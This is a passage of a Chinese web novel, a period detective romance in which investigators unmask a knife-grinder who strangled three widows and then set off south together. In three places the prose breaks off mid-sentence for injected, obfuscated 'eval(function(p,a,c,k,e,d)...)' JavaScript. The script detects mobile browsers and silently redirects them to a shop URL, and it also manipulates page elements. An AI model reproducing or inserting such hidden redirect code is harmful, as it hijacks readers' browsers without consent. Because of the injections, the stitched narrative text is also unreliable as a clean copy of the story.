我能比谢宁轩先想明白,哪里是我聪明啊,只是时代的进步而已。 但这个话题还是少聊为宜,我忙翻篇曰:“那个,那咱们现在怎么办,是不是应该再去一次鲍家?” 比起另两个受害者,凶手能与重重守卫下的鲍寡妇相约,难度更高。从她处着手调查,或许会有发现。 结果没让我们失望,再次盘问丫鬟时,提及鲍寡妇之前受过的伤,丫鬟果然睁大了眼。 “啊,这位小姐怎么知道?” 我看了眼站在门外的谢宁轩,压低声音道:“非葵水期,下身出血?” 丫鬟更震惊:“啊!是啊!” 得到答案后,我更确信了,便请她着重讲讲。谁知她了解也不多,只说发现过鲍寡妇弄脏的衣裤,本以为身体不适,但鲍寡妇却不许她请郎中,也不许她对外讲。后来,干脆自己收拾贴身衣物,不假手于人了。 咦,这个时代的主子,还有不使唤贴身丫鬟收拾衣物的? 丫鬟摇头:“其实,奴婢不能算少奶奶的贴身丫鬟。奴婢本就是鲍家的,不是少奶奶带来的。少奶奶出身不高,未出阁前都没用过下人,所以没那么讲究。平时也嫌下人多了烦心,吩咐奴婢也多是照顾小少爷。每到午休的时候,也不让奴婢陪着,差去太太屋里守着小少爷。” 怪不得。所以鲍寡妇才能利用午休时段约会情郎,且鲍家都未对她独处产生疑虑。 我这厢问完了伤势的问题,谢宁轩走了进来,指向小门:“我记得上回你说,曾有一次门开着,少奶奶还斥责了你,那是什么时候?你确定是你忘记关了吗?” 丫鬟搔搔头,有些委屈:“奴婢、奴婢记得关了的呀。就是上旬,具体哪天来着……奴婢记不清了,反正是一日午后,奴婢带着小少爷回来,正看到少奶奶在落闩。她看到奴婢就斥责,奴婢也不敢回嘴。可是、可是,早上取完胭脂,奴婢明明落闩了呀。” 我和谢宁轩对视一眼,都明白了其中含义。 鲍寡妇显然是刚刚送走情郎,险些被发现,为掩饰而栽赃丫鬟罢了。 也即,凶手出入是鲍寡妇主动给开的门,这一点已经可以确认。 但为什么查问了鲍宅上上下下,还是无从捕捉这情郎分毫身影呢? 离开鲍宅的时候,我和谢宁轩都有些失望。两个人坐到村里一间饭馆,俱是沉默。 抛尸城中还敢接连作案,此人胆大包天不可小觑。半个月,就杀了三名寡妇。百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对啊,郎中!我怎么没想到呢! 就如打更的老卫头,郎中也是一样的熟面孔。虽然未必住在本村,但出现在这里,稀松平常。甚至,比起夜晚才会出现的职业,郎中的出没,因职业与扮相,更加合理,更不会引起格外的关注。 当被询问是否有陌生人出入时,他也根本不会出现在村民的脑海中。 这就像火灾附近的消防员,银行门口真枪荷弹的警察,他的出现不会在你的脑海中留下特别印象,你不会怀疑他才是纵火者或者抢银行的。 在职业的包装下,他们,正如隐形人。 所以除非捏着指头盘点,村民想不起出现过的老卫头。那么,在这些视线盲点,思维疏漏中,是否就隐藏着凶手——另一个隐形人? 我想起村民说过的,郎中、送菜的、倒夜香的……没错,这些隐形人,来来往往几个村镇,进出寡妇的家,不正是非常正常,且不会引起别人注意的吗? 谢宁轩低声自语:“难道是郎中?” “倒夜香的,送奶的,卖茶叶的,还提到过谁?” 谢宁轩不置可否:“看来,下午的重点要变了。盘问重心应该落在这些不被重视的人身上了。” 我没有回答,不知怎得,脑海中总有一个身影在徘徊。 是什么? 我分明在三个案发现场都见过的。 还有一个人,没有人说过他的名字,因为对大家来说,他就是隐形人。但是他却可以出入每一处案发现场,引不起一点怀疑。 不,不是的,他并不是没有人提起过,其实在三个案发现场,他都被人隐晦提起过,可是我却没有注意到。 我慢慢品出味来,心头无比震撼。 是他,竟然是他! 109.解密1 想到凶手的身份后,我们立即兵分两路,猩猩衙差带队拿人,我和谢宁轩则直奔县衙。 因为我们还需要审问一个人。 文寡妇正因为诬陷被关在大牢里,据说日日撒泼,在见到我们的时候,也欲拉住谢宁轩重施美人计。 谢宁轩丝毫未给面子,一扬手,浮生立马上前,将文寡妇按倒在地。 “哎呦呦,官人呀!怎么这么猴急,奴家又不是不愿意!” “闭嘴!”浮生喝道,又朝我努努嘴,“王小姐!” 我上前拉开文寡妇的后襟,后颈处一道浅浅勒痕在牢房里昏暗的灯光下,险些看不见。 浮生眼睛瞪大,很是骇然。但我和谢宁轩对视中,都更加确信了自己的推论。 “这是谁弄伤你的?”谢宁轩问。 文寡妇挣扎着站起来,嚷嚷道:“你们几个老爷们这是做什么?想要奴家就说话嘛,这般粗鲁,真是的,还读书人呢,怎么也不文雅些?还有你这小姑娘,整天混在……” “闭嘴!”浮生大喝一声,“赶紧回答大人问话!” 文寡妇才不理会浮生官威,竟又贴上去对着他卖弄风骚。 浮生脸都黑了,直接上手捏住文寡妇手腕:“你能不能好好说话?是不是上了刑就舒服了?” “哎呦,疼疼疼!”文寡妇尖叫,从浮生控制下挣扎出来,揉着手腕后退到墙边。 “文三娘,你不要因为难为情就刻意隐瞒。给你造成伤口的人,可能对其他女子已经下了杀手。为了你的安全,你最好说实话。”谢宁轩平静开口。 我瞥一眼身侧的人,暗暗佩服他从容不迫的淡定。 但文寡妇惊了:“什么?杀手?什么意思?刘二杀人了?” 浮生还没搞清来龙去脉,听完也是一震,但见我与谢宁轩均没说话,便继续追问曰:“问你伤口到底怎么造成的!老实回答!” 文寡妇不乐意的撅撅嘴:“不就是勒了一下么!你们问问问个什么呀!伤在老娘身上,老娘还没……”见浮生捏住拳头咔咔咔,文寡妇吞了口口水,“哎呀,就是刘二弄得嘛。有啥的,玩玩而已呗。” 我和谢宁轩交换了个眼神,说道:“当日你诬告刘二对你用强,事实上,那已经不是你们第一次欢好了。刘二之前给你的造成的伤害,正是你们玩乐的把戏,对不对?” 文寡妇倚在墙上,扭了扭身子:“你们既然都知道了,还问什么?老娘就是喜欢不一样的玩法,我家那口子每次都规规矩矩,后来他死了,老娘闺中寂寞嘛,找找男人又怎么了?小姑娘你现在还年轻,你再等等就知道了,男人到了一定年纪,都是废物。” “休的胡言!”浮生看我一眼,“老实交代!” 文寡妇又拨弄起头发:“哼,那个刘二老来村子里磨刀,我就把他勾引上了呗。他那人结实得很,力气又特别大,能抱着我走来走去的玩,真叫个爽呢!后来他说他喜欢玩点不一样的,其实我也喜欢,不好开口罢了。我们一拍即合,就开始玩玩捆绑之类的,每次他那个兴奋劲,持续时间老长了,你们不信回去试试,好玩的很呢。” 文寡妇又想开始扯皮,对上浮生凶恶的表情,只好哼一声,继续道,“那天,我俩本来又要来,谁知道门响了!我没想到那个时辰会有人来,就没有落门闩,若被来人猛的推门进来,看到了就糟了呀!我这才叫救命,又不是刻意诬陷刘二!官府还把我抓了,真是不讲道理!” 谢宁轩没有理会她的抱怨,而是问道:“你本丧夫,又……就算和刘二好,被人知晓又如何?何必要叫救命?” 文寡妇抛过来一个媚眼:“瞧你这话说的!老娘就是名声再烂,也得考虑旁的吧。哼,老娘又不是只有他一个男人!他不常来,话里话外我也听得出来,他肯定还和别的女人玩别的把戏,上回他还让我试试鞭子呢,说特别有感觉!我呀,不喜欢那一套,但就现在玩的,每次身上的伤也得几天才能褪干净。哼,要说也怪你们男人,不就喜欢女人白白嫩嫩嘛?我要是被人看见身上有伤,我那些情郎不喜欢我,可怎么办?我叫救命,不就是希望把外面人引开,得空穿个衣服呗。谁知道闹大了,竟还直接报官了!哦,对了,你们刚才说的是什么意思?刘二怎么了?” 到这一步,事实已经很明显了。 自打我们确定了受害人非随机挑中,就明白调查的重点应该放在死者的相好身上。而隐形人的发现,又将凶手的范围扩展到这些不起眼、不留意的工种上。 在我和谢宁轩数着村民提起的隐形人时,我忽然意识到,其实,还有一个人,可谓真真正正的隐形,甚至就连村民,都无人提起。 盘问江寡妇村中,隔壁大姐曾说,老王被打出门后见到她颇为讪讪,借口问她是否要磨刀。婶子明确说,次日她约了磨刀工。 这就说明,江寡妇遇害当日,村中来过一位磨刀工。 黄寡妇家中村子都没什么线索,但我在她家搜索时,曾在厨房见到一把锋利的菜刀。 鲍家,就更明显了,鲍寡妇本人从厨房拿过菜刀,用的是练习厨艺的借口。其实不然,这分明是种信号,是约会的一环。 磨刀工,对啊,他不也是个隐形人吗? 走街串巷,出入合理,谁家请他过去,都不会多想。黄寡妇再怎么守礼得体,也得磨刀吧。即便磨刀工是个男的,村中因其合理性,也不会质疑二人有染。 而身居内宅的鲍寡妇,有什么机会接触外人呢?来鲍家磨刀的人,在鲍家上上下下眼中,恐怕都不曾刻意留意过。 但鲍寡妇上心了。 她是如何与其开始的,又怎么处出的默契,不得而知。不过可以肯定的是,那道小门自此为他而开。 而且,这也能解释白天作案的动机。 磨刀工白日走街串巷,深入宅邸磨刀,反而不会引起片刻注意。江寡妇、黄寡妇,恐怕就是以借口磨刀,白日宣淫,并送了命。 而鲍寡妇,她每日独处的时间正是中午,二人约会,自然也得在这个时段。 可磨刀工那么多,从何查起? 这时,我意识到,在案件最初,我们就遇到过一个磨刀工啊。 我顾不上吃饭,忙将我看到听到的讯息都与谢宁轩分享,谁知他听了一半就站了起来,险些撞到上菜的小二。 “你怀疑的是不是刘二?” 我点点头:“我就是觉得太巧合了。文寡妇是诬告,说明刘二没对她用强,说不定二人就是有染,所以……” 我话没说完,谢宁轩已道:“无需置疑,凶手就是他。” “啊?你怎么这么确定?” “那天去县衙,文寡妇过来撒泼,还记得吗?当她凑到我身侧时,我余光瞥到她脖颈处隐隐一道红色,我当时以为是她的……”谢宁轩顿了一下,有些尴尬,“嗯,所以就挪开了视线。现在想想,那根本不是肚兜的绳子,而是一道淤痕!” “什么?文寡妇身上也有伤?”我惊了,“天哪,她真的和刘二早就勾搭,她俩也玩那种把戏!” 果然,之后见到文寡妇,也确实证实了我们的猜想。 玩SM的男人,所谓的采花大盗,就是不起眼,谁也不会多留意的磨刀工刘二。 刘二再次被抓的时候,没有挣扎。此刻他呆在牢房中,依旧是傻楞、呆板、老实巴交的模样。从外表来看,根本无法想象,他竟杀了三个人。 当然,对此极其震惊的,还有赵大人。他真是想不到,自己一早误打误撞抓捕的老实汉子,竟然真是穷凶极恶的采花大盗。 “我当是什么绿林好手,没想到真是你小子!亏你长得老实巴交……”赵大人眼神都直了,“说!江黄鲍三名女子,是不是都是你杀的?” 刘二抬起头,眼神呆滞。他默默良久,点了点头。 “为什么?说!你为什么要杀人?” 刘二老实的脸上印着恐惧,他垂头坐在凳子上,似乎自己也说不清为什么。 半响,他低低开了口:“我,我不知道……我一开始没有想杀人,真的,我也不知道我怎么会杀了她们……” 猩猩衙差听的恼怒,想上前逼问,却被谢宁轩挡住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们、我们,”刘二幽幽讲述起来,“一直玩的挺不错的。其实我城里城外去不同人家磨刀,也无法天天见她们,也就是换着和她们玩。每个人相约,都空个十天八天的,她们身上的伤也能好全。一直、一直都太太平平的……直到那日,那日在江寡妇家,她说让我勒的重点,更爽快……我们、我们以前也这么玩过,可那天也不知道咋回事,我勒了几下,她就不动了。” 第一场杀戮竟然是意外? “我吓坏了,”刘二打了个冷战,“我赶紧去摸她,她死了,她竟然死了!” “既然你当时并非有意,那你……”浮生的话没说完,突然顿住。 刘二抬起了头,脸上露出一种病态的狂热,让人不寒而栗。 “嘿嘿,嘿嘿,好刺激,好爽,嘿嘿嘿嘿……比我玩女人,比我s出来,还要爽,还要爽!” 我头皮发麻,不自在的挪了挪步子。 赵大人则在猩猩衙差的搀扶下走远了些,两人都是一脸嫌恶。 谢宁轩也皱起眉头:“这么说,你是由于感受到第一次杀戮的快感,这才接连作案?” 刘二眼中还闪烁着变态的红光:“我、我哪有?不过是、不过是太爽了,我控制不住,控制不住啊!那日在鲍家,我从后面看着鲍寡妇扭着身子呜呜的□□,我实在忍不住,我想起那快感,那顶天的快感……鬼使神差的,我就拿起床边多余一截绳子那么一绕……她开始挣扎,挣扎……来不及了来不及了,她要死了,她要死了……但我停不下,停不下了!我用力的勒,用力的勒啊,直到她动也不动,天哪,太爽了!” 我被刘二狂热表情、森森语气搞得都想吐了,浮生也被恶心的后退了一步:“那那你说,那日在文寡妇家,你是不是也想杀了她?被吓跑了,第二天还去找她,你安的什么心?” 刘二露出一丝难以捉摸的笑容:“我、我没有一次想勒死人,真的,我真的没有。我只是忍不住,忍不住……那天在文寡妇家,我根本没有想杀人,我俩就是照平常那样玩,谁知道她突然叫救命。后来我又去找她,也不是要报仇……我、我只是看着她们嫩白的脖子,想着那快感,嘿嘿,嘿嘿。” 赵大人强忍不适,怒问:“上回抓你的时候,你怎么不交代?” 110.解密2 刘二脸上变成了茫然:“交代?交代什么?我、我真的没有□□文寡妇啊!她就是在诬陷我,我没扯谎啊!” 我和谢宁轩对视一眼,深感无奈。真不知该说他太狡猾还是太老实。 浮生也啐了一口,吐槽道:“妈的,早知道挨个死者问一遍,搞不好都结案了!” 赵大人和猩猩衙差露出无辜的表情,大抵再说,这事真不能怪他们。 是啊,得怪我们。人家都抓住了真凶,可惜我们局限在文寡妇身上,被“诬陷”束缚了思维,被“蹿高走低”转移了视线,又因刘二和桃红完全无关就贸贸然将他踢出了视线外。 若我们再谨慎些、再多问几句,黄寡妇或也不会死了。 我和谢宁轩都有些自责,一时没有讲话。 那刘二,眼神又开始放空了。 浮生赶紧打断:“行了行了,我再问你,鲍寡妇久居深宅,你是怎么和她好上的?” 刘二搓搓手:“鲍寡妇?哦,是她家管家雇我去磨刀,她刚好经过看到我了,就差丫鬟唤我去她院中,给修建花枝的剪刀磨磨。完事后,她突然跑过来,硬塞给我个纸条,就……” “你与她既然是约会,她每每还会拿把刀让你磨?”谢宁轩问道。 刘二闻言忽地一笑,脸有些狰狞。 “嘿嘿,是呀。那寡妇有意思的很,我俩是干嘛,我俩是上床!她每回还专门拿刀给我,不是剪刀,就是菜刀……我要磨了,她又拦住,说锋利了会引人怀疑。后来我才明白,这婊子就是心里愧疚,又觉得对不起她死去的男人,又想要和我玩,才拿刀找个由头。呵,她可是玩的最烈的一个了,每次见血才肯罢休。我呀,最喜欢她了。” 浮生吞了口口水,明显膈应。“最喜欢,不一样搞死了吗?” “嘿嘿,我咋舍得搞死她?但她又白又嫩,我从后面上她,看着她细细的脖子,我……” 赵大人实在不想再听一遍他疯癫的话,爆喝道:“行行不用说了!你都被逮了一次了,你倒好,竟然还敢作案?又杀了黄寡妇!” 刘二呆呆地盯着他。 心内复杂,我只觉得荒唐。 刘二已经被杀戮快感吞噬,他杀了两个人,却毫无畏惧,还敢继续赴约。被抓住扭送到县衙,也丝毫没有认识到严重性,在之后与黄寡妇的玩乐中,竟然还是随了心意,勒死了她。 而那日,若非村民来敲门,恐怕文寡妇,现在也躺上义庄台子了。 “我再问你,为什么要把死者运进京城?”谢宁轩沉声问。 刘二眼露惊慌,好像很畏惧似的。 “啊,啊,死者?啊!是,她们死了,死了……我不信,我好怕……”他忽然抱住头,露出孩童般天真的胆怯,“她们,她们就那样趴在床上,叫也不应,推也不动……不,不,她们是装的,我得带走她们,说不定一会儿她们就醒了呀!” 刘二的表情如同中邪,处处透着诡异。 语无伦次中,我大抵明白了他的心态。 勒死这三个人,对他而言,真的是猪油蒙了心。所以他从快感中清醒出来后,是骇然,惊悚的骇然。 然脑回路奇特的他,却不忘约定的玩乐时间到,自己得赶紧离开,于是乎,索性将这几名受害者也带走了。 偏偏近期,他都宿在县城角门边的破庙里,三个女子也就被他带入了城。 直到回来后,见三人还是冷冰冰的,他才真正意识到,自己杀了人。这时候他又后怕极了,便慌忙将尸体抛到附近小巷中。 之所以三次选择不同小巷,仅仅因为怕鬼魂找他复仇,所以一次扔的比一次远。 “不是,不是!不是我要杀她们,是她们,是她们勾引我的呀!我从来绑她们都没有用力,手脚都留着缝隙,倒是她们每回还嫌我不够使劲儿。我只是,我只是想让她们爽一些,更爽一些,没有要杀人啊!”刘二凄厉的叫喊着,直到被带走,他始终叫冤着。 浮生盯着他的背影,憎恶道:“好家伙,得亏这段时间他还没来及去见另几个相好,否则受害者还得增多!大人,王小姐,你们相信他说的吗?玩的时候没有杀心,到最后一刻突然忍不住?” 我沉默片刻,低声说道:“大概是吧。正如他自己所说,若一早有了杀心,受害者手腕上的绳子,就不会绑的那样松了。那种宽松程度,正是他们往常玩弄的习惯。” 谢宁轩也赞同:“刘二其人,并非咱们一开始怀疑的穷凶极恶之辈,也没有灵光的头脑和复杂的手段。他能毫无顾忌接连作案,被抓时都无反抗,还透着一种茫然和无辜,足以说明他根本没有真正意识到,自己到底做了什么。” 事以至此,刘二到底是不是误杀江寡妇,有没有怀着杀心对待黄鲍二人,又是否想要灭口文寡妇,也只有他自己知道了。 但三名冤死的女子,总算可以瞑目了。 只是,在这朝代,此种特殊的爱好,到底无法诉说于人前。如真是被采花大盗谋杀倒也罢了,如今死因这般,三名受害者,恐怕连列入夫家灵堂都不可能了。 这一刻,我再次无比怀念属于我的时代。虽然在那里,我孤身一人,至少身为女子,我是自由的。 心头郁郁,浮生正啐着:“这王八蛋,手段是不咋高级,但把咱们整的够呛!谁能想到,运尸进城的理由这么荒谬!手法这么简单!” 是啊,对于反其道运尸入城的推测,贯穿在整个破案过程中。我一度都以为凶手要搞什么诡异祭祀了,谁知理由如此无厘头。 至于手法么,当谢宁轩看破后,我们也真的是掉了下巴。 其实刘二,根本没有用什么复杂的手法,他依赖的,就是他那扁担前后的大筐子。 刘二被捕后,浮生将他那副扁担再次拿进县衙。谢宁轩盯着看了几秒,忽然拍了拍手,让我钻进扁担的筐子里。 赵大人正闻讯赶来,听见后那叫一个震惊。 不过谢宁轩这么一说,我也就懂了。 刘二是个磨刀工,居无定所,找到空屋废庙就住上几日,今日不知明日去处,因此筐中总要带着他的全副身家。 又因他的工作就是穿梭着城里郊外,谁家要磨刀就去那里,所以他和他的这幅扁担,估计每个守门的士兵都见到过。最初的日子里,这幅扁担,不知被翻查过多少次。 此人又长得那样一副老实巴交的长相,守门士兵即便接到了近期严查的通告,也不会往他身上想。针对他的扁担,自然是三天晒网,堪堪打开瞧瞧罢了。 扁担两头挑着两个大筐子,分别搁着他的衣服鞋子,和几把破菜刀、一块磨刀石。筐子很大,三个受害人除了江寡妇和我身形差不多,另两位受害者比我还要娇小,被缩在这筐子里,完全不成问题。 而刘二本人,在第一次抓捕他和县衙受惊一幕中,都已经展现出了力大无穷的特质。 一个女子的重量,对别人而言,或许吃力困难,对他,却轻而易举。而且,他还有本事担的从容自在,外人一眼看去,也不会因他突然变得吃力而产生怀疑。 在谢宁轩殷切的目光和赵大人纳闷的注视下,我钻到后头的筐子里。谢宁轩在我头上盖上一层衣服,诡计即成。 想必进入县城的时候,守门士兵便是如此,只是打开两个筐子盖瞧了瞧,一如既往的脏衣服和破菜刀,便也就放行了。 刘二正是如此,将尸体运进了京城。 在之前的推测中,我们百思不得其解的诡异手法,其实就是这般朴素——一个老实巴交的长相,一个日日通过久历检查的扁担。 简易的障眼法下,其实是对人心的利用。 但我想,以刘二的思想,大抵没有这么复杂。或许,他真的只是想亲眼看着三名女子再次醒来,便将她们放入筐子带在身边。 行至城门,是否会被检查出,或许他都没有想过。 反而,这与往常一样的木讷和自然,成为了凶案最好的掩护。守门士兵根本想不到,眼前这日日见的二愣子,此刻正挑着一具尸体。 这也说明了,无论多么严密的防卫,有人执行,就总有疏漏。或许,如何加强士兵们严谨、不偷懒、不念熟的思维,才是守卫的关键。 但不管怎么说,这起峰回路转的采花大盗案总算结束了,没想到一开始就放走的嫌疑人,竟然就是本案的真凶。 刘二被关押了,街头巷尾少了一个走街串巷的磨刀工,也没有引起人们的注意。刘二仿佛真的是个隐形人,从没有在别人眼中停留过。 *** “大人,那卑职这就回去了,卷宗及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068203|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您手书的文书都会按时送到,您放心。” 谢宁轩颔首,又指了指跟在队伍后面的囚车:“一路务必快行,不得停留,两日就要入京,明白吗?” 浮生眼神坚毅,大声回答:“是,大人!” “好,走吧。莫耽搁了。” “大人,王小姐,那您二位一路顺风,卑职在京城等你们。”浮生拱手朝我点头行礼,复又朝送行的赵大人与猩猩衙差一一行注视礼,之后便跃身上马,率领队伍北上。 马蹄声阵阵,一行人很快便消失在城门外。 赵大人感概连连,一扭头又开始了花式吹捧:“手下都如此出类拔萃,侍郎真乃明德惟馨,御下有方,实在是下官的榜……” 谢宁轩一向不屑听恭维,直接打断:“赵大人,这些就莫提了。刘二是重犯,直接押解进京交付刑部处置,这没问题。至于桃红之死的几个犯人,还要麻烦你尽快写完卷宗呈报。” 赵大人额头又开始冒汗,他赶忙点头:“是是,下官一定尽快,争取下旬就呈递入京。” 谢宁轩眯了眯眼,似乎不太满意这个进度。也没批评,他只又道:“至于二傻及该类嫌犯的处置方法,我已草拟建议,你看完后若没有反对意见,也可一并上呈。” 赵大人一愣,两秒后瞪圆了眼睛,用一种难以置信,又兼丝丝期许的声音问:“您、您是说,让下官、下官以自己的名义呈递吗?” “嗯。这是你辖区的案件,又涉及痴傻少儿的犯罪形态,你该有些建议的。否则呈递到刑部,该责你……” 责什么我没听到,因为赵大人已经激动的扑了上去,握住谢宁轩的一双手,感动的涕泗横流。 “天哪,侍郎大人!您真是下官的福星啊,对下官真好!下官感恩不尽,得叫您一声大恩公呀!” 辖区一年内出现两起恶性凶杀案,其中一桩更是骇人听闻的采花案,赵大人今年的考评怕是得拿个“差”了。 但作为县太爷,他努力消除坊间舆论阴影,以身作则破除迷信阴云,在治理上,是有功的。垂云还说,她去西元堂补充风寒散的时候,听闻东兴号孤儿寡母,如今全由赵大人出资抚养,百姓都称赞不已。 在公事上向来严苛的谢宁轩,想来也是看在赵大人为官颇为百姓着想的面子上,才肯出力帮帮他。有了扎实可行的建议良策,刑部采纳,自也会为他加上几分,使年终考评不至于那么难看。 赵大人自然懂得,这不,他激动的,都要把满面泪花、鼻子下三条鼻涕蹭到谢宁轩肩上了。 后者当即后退三步,微笑道:“好了,赵大人,下属面前,莫失态了。送行就到此吧,终有一别,无需再行了。” 赵大人忙用袖子擦拭,一面不舍地问:“二位这就直接南下了?县城周边不少休闲娱乐之处,上回下官就没能好好招待,不如缓走几日,好好放松放松?” “不了,我们南下还有事情。”谢宁轩利落的说,一面伸手,就要扶我上马车。 赵大人见状,也只能不再挽留,转而又送来一辆马车的物资,说都是些逗趣玩意,给我们一路解闷。 我料谢宁轩不会收,便也没当回事。谁知,手掌忽然一紧,谢宁轩扶我的动作顿了顿,他扭头对赵大人说:“东西就不必了,不妨把这辆马车给我们吧。” 赵大人懵了,我也诧异挑眉,我们不是有马车了吗? 谢宁轩风轻云淡,一扬手,邓科率队立即上前,没一会儿就把马车搬空了。紧接着,垂云垂柳,就被请到了第二辆马车上…… 我目瞪口呆的看着谢宁轩从容、自然、熟络的放下马车帘,朝我走来,心跳如鼓,堪比飙车。 “那个,你、你真要和我一路南下,去金华吗?” 还坐一辆马车! “是呀。不过这属私事,我顺路去找的也是宫中旧仆,接下来,我就不便袒露身份了,之后仍以凌轩自居吧。”谢宁轩坐到我身侧,轻柔的握住了我的手。 凌轩,凌轩又出现了。 我想到了初见时的种种,气氛瞬时暧昧,天灵盖似都冒出了热气。 羞赧且不安,我只得避开他谆谆热切的目光,硬找个话题:“嗯,那个……你要找的旧仆,追查的宫中旧案,到底是什么案子,怎么这么久还没进展?” 111.蒲苇丛 “自然是因为不少证人尚未寻到,才无法查出真相。”谢宁轩挑唇笑,梨涡轻轻。 我不禁脸上更红。是啊,我在说什么,这不废话嘛。 “嗯,我、我的意思是……那、那是不是就是你和三殿下去江瑟楼,掩盖身份调查的案子?” 谢宁轩颔首,笑容更深:“羽书还记得?是,确实是一回事。旷日已久,旧案越拖越难查。圣上又不肯罢休,必得查出个结果来。” 我想了想,又问:“我与你初见于秋水县,你就拿着御青王府的令牌,难道也是为了此案?” “嗯,若非皇命,我也出不得京。那时我因事耽搁,晚了三殿下一日脚程,又着意乔装,多亏了他留下的令牌,才让我得到些礼遇。”谢宁轩凑近了些,“当然,也见证了羽书长大成熟的一面。” 我自觉摒弃掉他话中调侃,只关注于什么案子这么复杂,还要他们两个出京查,又是躲青楼,又是化名? 谢宁轩坐直身子,抬帘看看车外,一面回答:“是二十多年前一位宫中妃子的死。” 二十多年前?圣上登基不过二十年,这查的是先帝妃嫔了? 那还真是难查了。莫说这年代,就是高科技加持的21世纪,追查一桩二十多年前的旧案,也不容易呐。 “你说此番南下是为了找个宫中旧仆。如此大费周折,莫非此人是凶案发生的关键人物,或这妃子的近身下人吗?” 眸中光芒晶亮,谢宁轩笑着摸摸我的头:“羽书当真聪慧,此女的确是她最亲近的宫人,且与案件直接有关。” “直接有关?”我有些懵,“那她还能逃出宫?” “唔,也不能算逃吧……事情有些复杂,一两句说不清楚。”谢宁轩沉吟着,“羽书,此案隐秘,称得上圣上逆鳞,莫要触碰的好。原谅我,不能说太多,也是为了你的安全着想。” 我这打破砂锅问到底的性子,若是知晓案件,或许还真会踏入不该进入的领域。 见我知趣的咽下了好奇心,谢宁轩拉住我的手,却又道:“这桩案子自我接手之初,就意识到要想还原当年真相,必得找出当年旧人,且不止一个,得靠当年服侍过这妃子的大量下人的记忆,才能拼凑得出。好在,因为口音原因,皇宫素来喜欢用北方的女使下人。这一年来,我们也追查到不少。” “这么说,你们时有出京办事,也是因为……” “嗯,因着我还担任京城府丞,实在不能远离京城太久,故都是遣下属在当地直接查问,寄来证言。如有京城周边的,我或三殿下便亲去询问。至于这位关键的丫鬟,我本打算派人押她入京。但既能陪你南下,我亲去询问,自然更好。” “询问完,若她真是凶手,你不是还得押她上京吗?跑这一趟,岂非多余?” “那能一样吗?”谢宁轩侧侧头,眼中流露出闪闪星光,“我能丢掉公差,全心陪在我心爱之人身侧,这一趟旅途,难道不是大大美差?” 哎呀,他又开始直白示爱了,怎么也不会害羞嘛。 我硬生生避开眼神,伸手掀开马车帘,想让冷风吹散车中旖旎的气息。谢宁轩却比我更快,捉住我的手腕,就俯身贴了上来。 “羽书,别躲开我。”他轻轻地说,双眸牢牢锁着我。 海浪一浪更比一浪高,带着夏日氤氲地热气,侵蚀着我已经转不动的大脑。 羽睫微颤,轻吻贴来。 在熟悉而安心的气息中,我再一次不可抑制的沦陷。 *** 接下来的两日,我都和谢宁轩共乘一辆马车,情丝环绕,爱的浓度实在有点高。 狡黠如他,并不生硬越界,每每都是从某个旧案提起,引起我浓厚兴趣。两人谈论着,我就越发觉得他与我的同频与默契,越发被美色迷惑,以至于他伸出贼手搂肩,我竟都不知闪躲,四目相接,他一次又一次的得逞。 这日傍晚,马车停在官道旁一处茶寮休息时,我终于找回理智,心说不能这样下去了!否则还没到目的地,我都怕自己把持不住,反客为主更进一步了! 谢宁轩叫来茶水点心,看着我红透的脸颊,笑得别提多得瑟了。 我没好气的瞪他一眼,冷声对垂云垂柳说:“等下我去你们马车,咱们一起走。” 垂柳“啊”了一声,飞快的觑了眼谢宁轩,竟说:“太、太小了,坐不下。” 六人座马车,多个我,坐不下? 垂云见我瞪眼,捂着帕子轻笑出来。 恰逢茶寮小二又送来包子,乐呵呵的说:“公子,夫人,快尝尝这……” 我像被踩了尾巴,就差跳脚了:“什么夫人!这、这叫谁呢!” 小二一愣,搔搔头:“哦,还没成亲呐?嘿嘿,小的看夫……小姐花容月貌,和公子极为相配,称呼就僭越了。不过公子这么宠爱小姐,成亲就是迟早的事嘛。” 宠爱?什么鬼! 许是诧异于我瞪大的眼,小二努了努嘴,目光落在我坐着的板凳上。 我顺着一瞧,这才发现刚才光顾着害羞恼羞,都没注意到谢宁轩将自己的披风卸下,垫在了我的板凳上,让我坐着不嫌冷。这小茶寮简陋,板凳也狭窄,他此刻还伸着右臂,挡在我身后五厘米处,防止我重心不稳而后摔。 我大窘,忙不迭推开他的手臂,声如细蚊:“你、你别……我、我不用你护着。你、你怎么……” 谢宁轩纹丝不动,说的风轻云淡:“习惯成自然,我很乐意。” 我脸上怕是能挤出血了,当下就羞赧地说不出话来。垂云垂柳也听不下去了,一个叫嚷着去灌水壶,一个假装咳嗽,三两秒就闪躲到邓科他们桌,再不敢坐回来。 眼看小二也知趣地退下,谢宁轩突然郑重了表情,定定地看向我,问:“羽书,等到了金华,我就向你祖母表达心意,正式求娶你,可好?” 我刚逼着自己喝下一口水以缓解尴尬,听了差点喷出来。 “什……咳咳咳,什么?” 谢宁轩顺势将右臂收回,轻柔的顺着我的背,话语竟还不断:“回到京城,我就入宫讨恩典。令尊那边,我都想好了,请母妃亲去说合……” “停停停!”我惊呆了,慌忙阻止,“你说什么呀,怎么就恩典就说合了!你、你都还没问问我意见!” “那,你可愿意?”谢宁轩靠近两分,深深的望着我,毫不掩饰眼中深切的渴望。 “我、我……哪有人在这儿求婚的!”脱口而出,我简直口不择言,都忘了拒绝了! 